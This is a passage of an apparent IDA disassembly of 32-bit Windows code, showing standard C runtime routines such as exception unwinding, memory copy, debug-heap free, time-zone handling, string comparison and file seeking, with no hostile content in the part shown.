sub_4206A0 proc near ; CODE XREF: sub_42CCA0+135p
; sub_42CF40+52p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, [eax+10h]
mov esi, [eax+0Ch]
mov [ebp+var_4], ecx
mov ecx, [ebp+arg_4]
test ecx, ecx
mov edi, esi
mov ebx, esi
jl short loc_4206F9
loc_4206BE: ; CODE XREF: sub_4206A0+54j
cmp esi, 0FFFFFFFFh
jnz short loc_4206C8
call sub_42D910
loc_4206C8: ; CODE XREF: sub_4206A0+21j
mov eax, [ebp+var_4]
dec esi
mov ecx, [ebp+arg_8]
lea edx, [esi+esi*4]
lea eax, [eax+edx*4]
cmp ecx, [eax+4]
jle short loc_4206DF
cmp ecx, [eax+8]
jle short loc_4206E4
loc_4206DF: ; CODE XREF: sub_4206A0+38j
cmp esi, 0FFFFFFFFh
jnz short loc_4206EF
loc_4206E4: ; CODE XREF: sub_4206A0+3Dj
mov eax, [ebp+arg_4]
mov edi, ebx
dec eax
mov ebx, esi
mov [ebp+arg_4], eax
loc_4206EF: ; CODE XREF: sub_4206A0+42j
mov eax, [ebp+arg_4]
test eax, eax
jge short loc_4206BE
mov eax, [ebp+arg_0]
loc_4206F9: ; CODE XREF: sub_4206A0+1Cj
mov ecx, [ebp+arg_C]
mov edx, [ebp+arg_10]
inc esi
mov [ecx], esi
mov [edx], edi
cmp edi, [eax+0Ch]
ja short loc_42070D
cmp esi, edi
jbe short loc_420712
loc_42070D: ; CODE XREF: sub_4206A0+67j
call sub_42D910
loc_420712: ; CODE XREF: sub_4206A0+6Bj
mov ecx, [ebp+var_4]
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ecx+eax*4]
pop ebx
mov esp, ebp
pop ebp
retn
sub_4206A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420730 proc near ; CODE XREF: sub_423364+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_420748
push [ebp+arg_0]
call sub_43ABA6 ; RtlUnwind
loc_420748: ; DATA XREF: sub_420730+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_420730 endp
; =============== S U B R O U T I N E =======================================
sub_420750 proc near ; DATA XREF: sub_420772+Ao
; sub_4207DA+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_420771
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_420771: ; CODE XREF: sub_420750+10j
retn
sub_420750 endp
; =============== S U B R O U T I N E =======================================
sub_420772 proc near ; CODE XREF: sub_423364+67p
; sub_423364+A7p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_420750
push large dword ptr fs:0
mov large fs:0, esp
loc_42078F: ; CODE XREF: sub_420772:loc_4207CAj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_4207CC
cmp esi, [esp+1Ch+arg_4]
jz short loc_4207CC
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_4207CA
push 101h
mov eax, [ebx+esi*4+8]
call sub_420806
call dword ptr [ebx+esi*4+8]
loc_4207CA: ; CODE XREF: sub_420772+44j
jmp short loc_42078F
; ---------------------------------------------------------------------------
loc_4207CC: ; CODE XREF: sub_420772+2Aj
; sub_420772+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_420772 endp
; =============== S U B R O U T I N E =======================================
sub_4207DA proc near ; CODE XREF: sub_42D3ED+4Bp
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_420750
jnz short locret_4207FC
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_4207FC
mov eax, 1
locret_4207FC: ; CODE XREF: sub_4207DA+10j
; sub_4207DA+1Bj
retn
sub_4207DA endp
; =============== S U B R O U T I N E =======================================
sub_4207FD proc near ; CODE XREF: sub_42D810+1Ep
; sub_42D810+40p
push ebx
push ecx
mov ebx, offset dword_45182C
jmp short loc_420810
sub_4207FD endp
; =============== S U B R O U T I N E =======================================
sub_420806 proc near ; CODE XREF: sub_420772+4Fp
; sub_423364+78p
push ebx
push ecx
mov ebx, offset dword_45182C
mov ecx, [ebp+8]
loc_420810: ; CODE XREF: sub_4207FD+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_420806 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_420820 proc near ; CODE XREF: sub_40D7E4+5p
; sub_40D95B+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_420820 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420840 proc near ; CODE XREF: sub_40E03Bj
; sub_4241B0+590p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_420860
cmp edi, eax
jb loc_4209D8
loc_420860: ; CODE XREF: sub_420840+16j
test edi, 3
jnz short loc_42087C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_42089C
rep movsd
jmp off_420988[edx*4]
; ---------------------------------------------------------------------------
loc_42087C: ; CODE XREF: sub_420840+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_420894
and eax, 3
add ecx, eax
jmp dword ptr loc_42089C+4[eax*4]
; ---------------------------------------------------------------------------
loc_420894: ; CODE XREF: sub_420840+46j
jmp dword ptr loc_420998[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_42089C: ; CODE XREF: sub_420840+31j
; sub_420840+8Ej ...
jmp off_42091C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4208B0
dd offset loc_4208DC
dd offset loc_420900
; ---------------------------------------------------------------------------
loc_4208B0: ; DATA XREF: sub_420840+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_42089C
rep movsd
jmp off_420988[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_4208DC: ; DATA XREF: sub_420840+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_42089C
rep movsd
jmp off_420988[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_420900: ; DATA XREF: sub_420840+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_42089C
rep movsd
jmp off_420988[edx*4]
; ---------------------------------------------------------------------------
align 4
off_42091C dd offset loc_42097F ; DATA XREF: sub_420840:loc_42089Cr
dd offset loc_42096C
dd offset loc_420964
dd offset loc_42095C
dd offset loc_420954
dd offset loc_42094C
dd offset loc_420944
dd offset loc_42093C
; ---------------------------------------------------------------------------
loc_42093C: ; CODE XREF: sub_420840:loc_42089Cj
; DATA XREF: sub_420840+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_420944: ; CODE XREF: sub_420840:loc_42089Cj
; DATA XREF: sub_420840+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_42094C: ; CODE XREF: sub_420840:loc_42089Cj
; DATA XREF: sub_420840+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_420954: ; CODE XREF: sub_420840:loc_42089Cj
; DATA XREF: sub_420840+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_42095C: ; CODE XREF: sub_420840:loc_42089Cj
; DATA XREF: sub_420840+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_420964: ; CODE XREF: sub_420840:loc_42089Cj
; DATA XREF: sub_420840+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_42096C: ; CODE XREF: sub_420840:loc_42089Cj
; DATA XREF: sub_420840+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_42097F: ; CODE XREF: sub_420840:loc_42089Cj
; DATA XREF: sub_420840:off_42091Co
jmp off_420988[edx*4]
; ---------------------------------------------------------------------------
align 4
off_420988 dd offset loc_420998 ; DATA XREF: sub_420840+35r
; sub_420840+92r ...
dd offset loc_4209A0
dd offset loc_4209AC
dd offset loc_4209C0
; ---------------------------------------------------------------------------
loc_420998: ; CODE XREF: sub_420840+35j
; sub_420840+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_4209A0: ; CODE XREF: sub_420840+35j
; sub_420840+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4209AC: ; CODE XREF: sub_420840+35j
; sub_420840+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_4209C0: ; CODE XREF: sub_420840+35j
; sub_420840+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4209D8: ; CODE XREF: sub_420840+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_420A0C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_420A00
std
rep movsd
cld
jmp off_420B20[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_420A00: ; CODE XREF: sub_420840+1B1j
; sub_420840+208j ...
neg ecx
jmp dword ptr loc_420ACF+1[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_420A0C: ; CODE XREF: sub_420840+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_420A24
and eax, 3
sub ecx, eax
jmp dword ptr loc_420A24+4[eax*4]
; ---------------------------------------------------------------------------
loc_420A24: ; CODE XREF: sub_420840+1D6j
; DATA XREF: sub_420840+1DDr
jmp off_420B20[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_420A37+1
; ---------------------------------------------------------------------------
pop eax
or al, [edx+0]
or byte ptr [edx], 42h
loc_420A37: ; DATA XREF: sub_420840+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_420A00
std
rep movsd
cld
jmp off_420B20[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_420A00
std
rep movsd
cld
jmp off_420B20[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_420A00
std
rep movsd
cld
jmp off_420B20[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_420AD4
dd offset loc_420ADC
dd offset loc_420AE4
dd offset loc_420AEC
dd offset loc_420AF4
; ---------------------------------------------------------------------------
cld
or al, [edx+0]
add al, 0Bh
inc edx
loc_420ACF: ; DATA XREF: sub_420840+1C2r
add [edi], dl
or eax, [edx+0]
loc_420AD4: ; DATA XREF: sub_420840+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_420ADC: ; DATA XREF: sub_420840+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_420AE4: ; DATA XREF: sub_420840+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_420AEC: ; DATA XREF: sub_420840+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_420AF4: ; DATA XREF: sub_420840+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_420B17: ; CODE XREF: sub_420840+1C2j
jmp off_420B20[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_420B20 dd offset loc_420B30 ; DATA XREF: sub_420840+1B7r
; sub_420840:loc_420A24r ...
dd offset loc_420B38
dd offset loc_420B48
dd offset loc_420B5C
; ---------------------------------------------------------------------------
loc_420B30: ; CODE XREF: sub_420840+1B7j
; sub_420840:loc_420A24j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_420B38: ; CODE XREF: sub_420840+1B7j
; sub_420840:loc_420A24j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_420B48: ; CODE XREF: sub_420840+1B7j
; sub_420840:loc_420A24j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_420B5C: ; CODE XREF: sub_420840+1B7j
; sub_420840:loc_420A24j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_420840 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420B80 proc near ; CODE XREF: sub_40E123+4p
; sub_43A5E0+1Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
cmp [ebp+arg_0], 0
jnz short loc_420B92
jmp loc_420C1A
; ---------------------------------------------------------------------------
loc_420B92: ; CODE XREF: sub_420B80+Bj
push 9
call sub_423280
add esp, 4
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+var_4], eax
loc_420BA5: ; CODE XREF: sub_420B80+7Bj
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 4
jz short loc_420BF7
mov eax, [ebp+var_4]
cmp dword ptr [eax+14h], 1
jz short loc_420BF7
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 2
jz short loc_420BF7
mov eax, [ebp+var_4]
cmp dword ptr [eax+14h], 3
jz short loc_420BF7
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 2Fh
push offset dword_43CDA0
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_420BF7
int 3 ; Trap to Debugger
loc_420BF7: ; CODE XREF: sub_420B80+34j
; sub_420B80+3Dj ...
xor ecx, ecx
test ecx, ecx
jnz short loc_420BA5
mov edx, [ebp+var_4]
mov eax, [edx+14h]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41CA10
add esp, 8
push 9
call sub_423320
add esp, 4
loc_420C1A: ; CODE XREF: sub_420B80+Dj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_420B80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420C30 proc near ; CODE XREF: sub_40E176+Bp
; _0:0040ED2Fp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1
mov eax, [ebp+arg_0]
push eax
call sub_41BEA0
add esp, 8
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_420C30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420C50 proc near ; CODE XREF: sub_420D10+7p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
call sub_41EA10
push 2
mov eax, ds:dword_4F4A34
push eax
call sub_41CE90
add esp, 8
mov ecx, ds:dword_4F4A30
sub ecx, ds:dword_4F4A34
add ecx, 4
cmp eax, ecx
jnb short loc_420CDD
push 68h
push offset dword_43CDAC
push 2
push 2
mov edx, ds:dword_4F4A34
push edx
call sub_41CE90
add esp, 8
add eax, 10h
push eax
mov eax, ds:dword_4F4A34
push eax
call sub_41C360
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_420CBA
call sub_41EA20
xor eax, eax
jmp short loc_420CFF
; ---------------------------------------------------------------------------
loc_420CBA: ; CODE XREF: sub_420C50+5Fj
mov ecx, ds:dword_4F4A30
sub ecx, ds:dword_4F4A34
sar ecx, 2
mov edx, [ebp+var_4]
lea eax, [edx+ecx*4]
mov ds:dword_4F4A30, eax
mov ecx, [ebp+var_4]
mov ds:dword_4F4A34, ecx
loc_420CDD: ; CODE XREF: sub_420C50+2Aj
mov edx, ds:dword_4F4A30
mov eax, [ebp+arg_0]
mov [edx], eax
mov ecx, ds:dword_4F4A30
add ecx, 4
mov ds:dword_4F4A30, ecx
call sub_41EA20
mov eax, [ebp+arg_0]
loc_420CFF: ; CODE XREF: sub_420C50+68j
mov esp, ebp
pop ebp
retn
sub_420C50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420D10 proc near ; CODE XREF: _0:0040DBD5p
; sub_43A8C0+8p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push eax
call sub_420C50
add esp, 4
neg eax
sbb eax, eax
neg eax
dec eax
pop ebp
retn
sub_420D10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420D30 proc near ; DATA XREF: _2:0043F020o
push ebp
mov ebp, esp
push 0B6h
push offset dword_43CDAC
push 2
push 80h
call sub_41BE70
add esp, 10h
mov ds:dword_4F4A34, eax
cmp ds:dword_4F4A34, 0
jnz short loc_420D64
push 18h
call sub_422270
add esp, 4
loc_420D64: ; CODE XREF: sub_420D30+28j
mov eax, ds:dword_4F4A34
mov dword ptr [eax], 0
mov ecx, ds:dword_4F4A34
mov ds:dword_4F4A30, ecx
pop ebp
retn
sub_420D30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420D80 proc near ; CODE XREF: sub_40E29B+1A2p
var_D8 = dword ptr -0D8h
var_D4 = dword ptr -0D4h
var_D0 = byte ptr -0D0h
var_36 = dword ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_A = dword ptr -0Ah
var_6 = dword ptr -6
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0D8h
lea eax, [ebp+var_24]
push eax
call ds:dword_4F5404 ; GetLocalTime
lea ecx, [ebp+var_10]
push ecx
call ds:dword_4F5480 ; GetSystemTime
mov edx, [ebp+var_6]
and edx, 0FFFFh
xor eax, eax
mov ax, word ptr ds:dword_4F3358+2
cmp edx, eax
jnz short loc_420E18
mov ecx, [ebp-8]
and ecx, 0FFFFh
xor edx, edx
mov dx, word ptr ds:dword_4F3358
cmp ecx, edx
jnz short loc_420E18
mov eax, [ebp+var_A]
and eax, 0FFFFh
xor ecx, ecx
mov cx, ds:word_4F3356
cmp eax, ecx
jnz short loc_420E18
mov edx, [ebp+var_10+2]
and edx, 0FFFFh
xor eax, eax
mov ax, word ptr ds:dword_4F3350+2
cmp edx, eax
jnz short loc_420E18
mov ecx, [ebp+var_10]
and ecx, 0FFFFh
xor edx, edx
mov dx, word ptr ds:dword_4F3350
cmp ecx, edx
jnz short loc_420E18
mov eax, ds:dword_4F3348
mov [ebp+var_D8], eax
jmp loc_420EA0
; ---------------------------------------------------------------------------
loc_420E18: ; CODE XREF: sub_420D80+30j
; sub_420D80+46j ...
lea ecx, [ebp+var_D0]
push ecx
call ds:dword_4F547C ; GetTimeZoneInformation
mov [ebp+var_D4], eax
cmp [ebp+var_D4], 0FFFFFFFFh
jz short loc_420E68
cmp [ebp+var_D4], 2
jnz short loc_420E5C
mov edx, [ebp+var_36]
and edx, 0FFFFh
test edx, edx
jz short loc_420E5C
cmp [ebp+var_28], 0
jz short loc_420E5C
mov [ebp+var_D8], 1
jmp short loc_420E66
; ---------------------------------------------------------------------------
loc_420E5C: ; CODE XREF: sub_420D80+BBj
; sub_420D80+C8j ...
mov [ebp+var_D8], 0
loc_420E66: ; CODE XREF: sub_420D80+DAj
jmp short loc_420E72
; ---------------------------------------------------------------------------
loc_420E68: ; CODE XREF: sub_420D80+B2j
mov [ebp+var_D8], 0FFFFFFFFh
loc_420E72: ; CODE XREF: sub_420D80:loc_420E66j
mov eax, [ebp+var_D8]
mov ds:dword_4F3348, eax
mov ecx, [ebp+var_10]
mov ds:dword_4F3350, ecx
mov edx, [ebp-0Ch]
mov dword ptr ds:byte_4F3354, edx
mov eax, [ebp+var_A+2]
mov ds:dword_4F3358, eax
mov ecx, [ebp+var_6+2]
mov ds:dword_4F335C, ecx
loc_420EA0: ; CODE XREF: sub_420D80+93j
mov edx, [ebp+var_D8]
push edx
mov eax, [ebp+var_18]
and eax, 0FFFFh
push eax
mov ecx, [ebp-1Ah]
and ecx, 0FFFFh
push ecx
mov edx, [ebp+var_1C]
and edx, 0FFFFh
push edx
mov eax, [ebp-1Eh]
and eax, 0FFFFh
push eax
mov ecx, [ebp+var_24+2]
and ecx, 0FFFFh
push ecx
mov edx, [ebp+var_24]
and edx, 0FFFFh
push edx
call sub_42D9A0
add esp, 1Ch
mov [ebp+var_14], eax
cmp [ebp+arg_0], 0
jz short loc_420EFA
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_420EFA: ; CODE XREF: sub_420D80+170j
mov eax, [ebp+var_14]
mov esp, ebp
pop ebp
retn
sub_420D80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420F10 proc near ; CODE XREF: sub_40E29B+18p
; sub_4350B0+40p ...
var_10 = dword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_4F33F0
cmp dword ptr [eax+8], 0
jnz short loc_420F63
mov al, 0FFh
mov edi, edi
loc_420F2C: ; CODE XREF: sub_420F10+28j
; sub_420F10+48j
or al, al
jz short loc_420F5E
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_420F2C
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_420F2C
sbb al, al
sbb al, 0FFh
loc_420F5E: ; CODE XREF: sub_420F10+1Ej
movsx eax, al
jmp short loc_420FDB
; ---------------------------------------------------------------------------
loc_420F63: ; CODE XREF: sub_420F10+16j
lock inc ds:dword_4F37C8
cmp ds:dword_4F37C4, 0
jg short loc_420F77
push 0
jmp short loc_420F8C
; ---------------------------------------------------------------------------
loc_420F77: ; CODE XREF: sub_420F10+61j
lock dec ds:dword_4F37C8
push 13h
call sub_423280
mov [esp+10h+var_10], 1
loc_420F8C: ; CODE XREF: sub_420F10+65j
mov eax, 0FFh
xor ebx, ebx
nop
loc_420F94: ; CODE XREF: sub_420F10+90j
; sub_420F10+A8j
or al, al
jz short loc_420FBF
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_420F94
push eax
push ebx
call sub_421D30
mov ebx, eax
add esp, 4
call sub_421D30
add esp, 4
cmp bl, al
jz short loc_420F94
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_420FBF: ; CODE XREF: sub_420F10+86j
mov ebx, eax
pop eax
or eax, eax
jnz short loc_420FCF
lock dec ds:dword_4F37C8
jmp short loc_420FD9
; ---------------------------------------------------------------------------
loc_420FCF: ; CODE XREF: sub_420F10+B4j
push 13h
call sub_423320
add esp, 4
loc_420FD9: ; CODE XREF: sub_420F10+BDj
mov eax, ebx
loc_420FDB: ; CODE XREF: sub_420F10+51j
pop ebx
pop esi
pop edi
leave
retn
sub_420F10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420FE0 proc near ; CODE XREF: sub_41206F+26Ep
; sub_41206F+377p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_420FE7: ; CODE XREF: sub_420FE0+2Fj
cmp [ebp+arg_0], 0
jnz short loc_42100B
push offset dword_43C504
push 0
push 65h
push offset dword_43CDB8
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_42100B
int 3 ; Trap to Debugger
loc_42100B: ; CODE XREF: sub_420FE0+Bj
; sub_420FE0+28j
xor eax, eax
test eax, eax
jnz short loc_420FE7
mov ecx, [ebp+arg_0]
push ecx
call sub_422420
add esp, 4
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_421050
add esp, 0Ch
mov [ebp+var_4], eax
mov edx, [ebp+arg_0]
push edx
call sub_422490
add esp, 4
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_420FE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421050 proc near ; CODE XREF: sub_420FE0+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_421057: ; CODE XREF: sub_421050+32j
cmp [ebp+arg_0], 0
jnz short loc_42107E
push offset dword_43C514
push 0
push 92h
push offset dword_43CDB8
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_42107E
int 3 ; Trap to Debugger
loc_42107E: ; CODE XREF: sub_421050+Bj
; sub_421050+2Bj
xor eax, eax
test eax, eax
jnz short loc_421057
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_4210AB
cmp [ebp+arg_8], 0
jz short loc_4210BE
cmp [ebp+arg_8], 1
jz short loc_4210BE
cmp [ebp+arg_8], 2
jz short loc_4210BE
loc_4210AB: ; CODE XREF: sub_421050+47j
call sub_429A90
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_421170
; ---------------------------------------------------------------------------
loc_4210BE: ; CODE XREF: sub_421050+4Dj
; sub_421050+53j ...
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 0FFFFFFEFh
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
cmp [ebp+arg_8], 1
jnz short loc_4210EE
mov ecx, [ebp+var_4]
push ecx
call sub_42E6A0
add esp, 4
mov edx, [ebp+arg_4]
add edx, eax
mov [ebp+arg_4], edx
mov [ebp+arg_8], 0
loc_4210EE: ; CODE XREF: sub_421050+81j
mov eax, [ebp+var_4]
push eax
call sub_422F20
add esp, 4
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jz short loc_42111B
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 0FFFFFFFCh
mov edx, [ebp+var_4]
mov [edx+0Ch], ecx
jmp short loc_42114F
; ---------------------------------------------------------------------------
loc_42111B: ; CODE XREF: sub_421050+B8j
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 1
test ecx, ecx
jz short loc_42114F
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 8
test eax, eax
jz short loc_42114F
mov ecx, [ebp+var_4]
